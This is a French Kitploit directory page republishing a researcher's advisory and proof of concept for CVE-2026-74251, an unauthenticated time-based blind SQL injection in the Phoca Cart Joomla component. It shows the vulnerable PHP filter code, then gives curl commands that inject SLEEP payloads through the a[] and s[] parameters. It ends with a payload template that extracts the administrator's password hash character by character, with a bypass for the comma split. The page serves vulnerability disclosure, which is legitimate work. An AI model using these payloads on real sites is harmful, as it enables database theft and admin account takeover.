Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-74251 — Injection SQL non authentifiée via le filtre d'attributs dans Phoca Cart - CVSS 9.3 | Kitploit
Outils/GitHubGitHub/toanln-cov/cve-2026-74251
Analyse des VulnérabilitésExploitationExploitation d'Applications WebExfiltration de DonnéesSécurité WebSécurité des Bases de Données
GitHubtoanln-cov/cve-2026-74251

CVE-2026-74251

Injection SQL non authentifiée via le filtre d'attributs dans Phoca Cart - CVSS 9.3

Voir le dépôt
22il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Injection SQL non authentifiée via le filtre d'attributs dans Phoca Cart

Phoca Cart ≤ 6.1.6 — Un attaquant non authentifié extrait l'intégralité de la base de données via une injection aveugle basée sur le temps

CVE CVSS v4.0 CWE-89 Affected Researcher


RÉSUMÉ

Les paramètres de tableau GET a[] (attribut) et s[] (spécification) de la page publique des articles de la boutique Phoca Cart sont concaténés bruts dans les clauses SQL WHERE sans paramétrage ni échappement. Un attaquant non authentifié peut injecter du SQL arbitraire via ces paramètres, permettant l'extraction complète de la base de données par des techniques d'injection aveugle basées sur le temps.

La vulnérabilité se trouve dans getSqlPartsArray() dans admin/libraries/phocacart/search/search.php. La fonction appelle explode(',', $v) avant de construire la liste IN() mais n'échappe jamais les valeurs résultantes — une charge utile sans virgule passe donc intacte dans la requête SQL. Comme getItemListQuery() est appelée deux fois par requête (getTotal() + getItemList()), une charge utile SLEEP(N) provoque un délai observable de 2×N secondes, rendant la détection temporelle très fiable.


VERSIONS AFFECTÉES

COMPOSANTVULNÉRABLETESTÉ SURCORRIGÉ
Phoca Cart (com_phocacart)5.0.0 – 6.1.6Joomla 5.4.7 + Phoca Cart 6.1.6 (PHP 8.2 / Apache)6.1.7

DÉTAILS DE LA VULNÉRABILITÉ

Type : Injection SQL — aveugle basée sur le temps (CWE-89) Authentification requise : Aucune — point d'accès public Fichier : admin/libraries/phocacart/search/search.php

Cause racine

Le modèle des articles lit les paramètres a[] et s[] directement depuis la requête HTTP sans assainissement :

SITE/MODELS/ITEMS.PHP — LIGNES 92–93

$this->setState('a', $app->getInput()->get('a', '', 'array')); // ← raw array from GET
$this->setState('s', $app->getInput()->get('s', '', 'array')); // ← raw array from GET

Ces valeurs sont transmises à getSqlPartsArray(), qui divise chaque valeur sur les virgules et insère les fragments résultants directement dans la clause SQL IN() :

SEARCH.PHP — GETSQLPARTSARRAY() LIGNES 318–363 (VULNÉRABLE)

foreach ($value as $k => $v) {
    $a = explode(',', $v);        // splits on comma — but does NOT escape
    $a = array_unique($a);
    if ($k && $v) {
        if ($searchArea == 'a') {
            // ANY method — $a values are NOT escaped before implode:
            $inA[] = '(at2.alias = ' . $db->quote($k) . ' AND v2.alias IN ('
                . '\'' . implode('\',\'', $a) . '\''   // ← raw user input injected here
                . '))';

            // ALL method — $v2 injected raw into double-quoted context:
            foreach ($a as $v2) {
                $inAS[$iA] = 'at2.alias = ' . $db->quote($k)
                    . ' AND v2x' . $iA . '.alias = "' . $v2 . '"'; // ← raw $v2
                $iA++;
            }
        }
        else if ($searchArea == 's') {
            // specification filter — same pattern, same flaw:
            $inA[] = '(s2.alias = ' . $db->quote($k) . ' AND s2.alias_value IN ('
                . '\'' . implode('\',\'', $a) . '\'' . '))'; // ← raw
        }
    }
}

Le fragment SQL résultant est inséré dans la requête principale :

a.id IN (
  SELECT at2.product_id FROM #__phocacart_attributes AS at2
  LEFT JOIN #__phocacart_attribute_values AS v2 ON v2.attribute_id = at2.id
  WHERE (at2.alias = 'color' AND v2.alias IN ('INJECTION POINT'))
  GROUP BY at2.product_id HAVING COUNT(at2.alias) >= 1
)

getActiveFilterValues() dans filter.php applique filterValue($item, 'alphanumeric') aux valeurs a[]/s[] pour la couche d'affichage. Cependant, getSqlPartsArray() relit ces mêmes paramètres directement depuis $app->getInput()->get('a', '', 'array') sans aucun assainissement, contournant entièrement la protection de la couche d'affichage.


PREUVE DE CONCEPT

Aucune authentification requise. La vue des articles (/index.php?option=com_phocacart&view=items) est accessible publiquement. Aucun attribut ni spécification ne doit être configuré sur la boutique.

1. Mesure de référence — confirmer le temps de réponse normal

Un utilisateur non authentifié peut accéder au portail de la boutique sans aucun identifiant.

Accès non authentifié au portail de la boutique Phoca Cart affichant la liste des articles

Requête brute capturée dans Burp Suite — temps de réponse de référence : 76 ms.

Requête GET de référence dans Burp Suite vers la page de la boutique avec un temps de réponse de 76 ms

2. Confirmer l'injection SQL via le délai temporel — filtre d'attributs (a[])

Une charge utile SLEEP(3) est injectée via le paramètre a[color]. Comme getItemListQuery() est appelée deux fois par requête, le délai attendu est 2 × 3 = 6 s. Observé : 7085 ms — confirmé.

# Time-based blind SQLi — SLEEP(3) fires twice → ~6s response
curl -s -o /dev/null -w "%{time_total}s\n" -G \
  --data-urlencode "option=com_phocacart" \
  --data-urlencode "view=items" \
  --data-urlencode "a[color]=x' AND (SELECT COUNT(*) FROM (SELECT SLEEP(3))z) AND '1'='1" \
  "http://TARGET/index.php"
# Result: 7.085s — CONFIRMED

# Specification filter (s[]) — same code path
curl -s -o /dev/null -w "%{time_total}s\n" -G \
  --data-urlencode "option=com_phocacart" \
  --data-urlencode "view=items" \
  --data-urlencode "s[spec]=x' AND (SELECT COUNT(*) FROM (SELECT SLEEP(3))z) AND '1'='1" \
  "http://TARGET/index.php"

Burp Suite montrant la charge utile SQLi avec un temps de réponse de 7085 ms confirmant le double SLEEP(3)

3. Confirmer avec SLEEP(0) — réponse rapide

Remplacer SLEEP(3) par SLEEP(0) renvoie une réponse immédiate (1064 ms), confirmant que le délai est causé par le SLEEP injecté et non par les conditions réseau.

Burp Suite montrant la charge utile SLEEP(0) renvoyant une réponse rapide de 1064 ms

4. Extraction de données caractère par caractère via oracle temporel

Extrayez le hash bcrypt de l'administrateur un octet à la fois. Contrainte critique : explode(',', $v) divise sur les virgules avant de construire le SQL — les charges utiles doivent utiliser SUBSTRING(str FROM pos FOR len) (syntaxe ANSI par mot-clé) pour éviter la troncature par les virgules, et CASE WHEN ... THEN ... ELSE ... END au lieu de IF().

# Extract ASCII value of char at position POS from admin password hash
# Replace POS (1-based) and EXPECTED_ASCII with actual values
# SLEEP(2) fires twice → 4s = match; <1s = no match

PAYLOAD="x' AND (SELECT COUNT(*) FROM (SELECT CASE WHEN \
((SELECT ASCII(SUBSTRING(password FROM POS FOR 1)) FROM jos_users WHERE username=0x61646d696e)=EXPECTED_ASCII) \
THEN SLEEP(2) ELSE 0 END as r)tmp) AND '1'='1"
Télécharger l’outil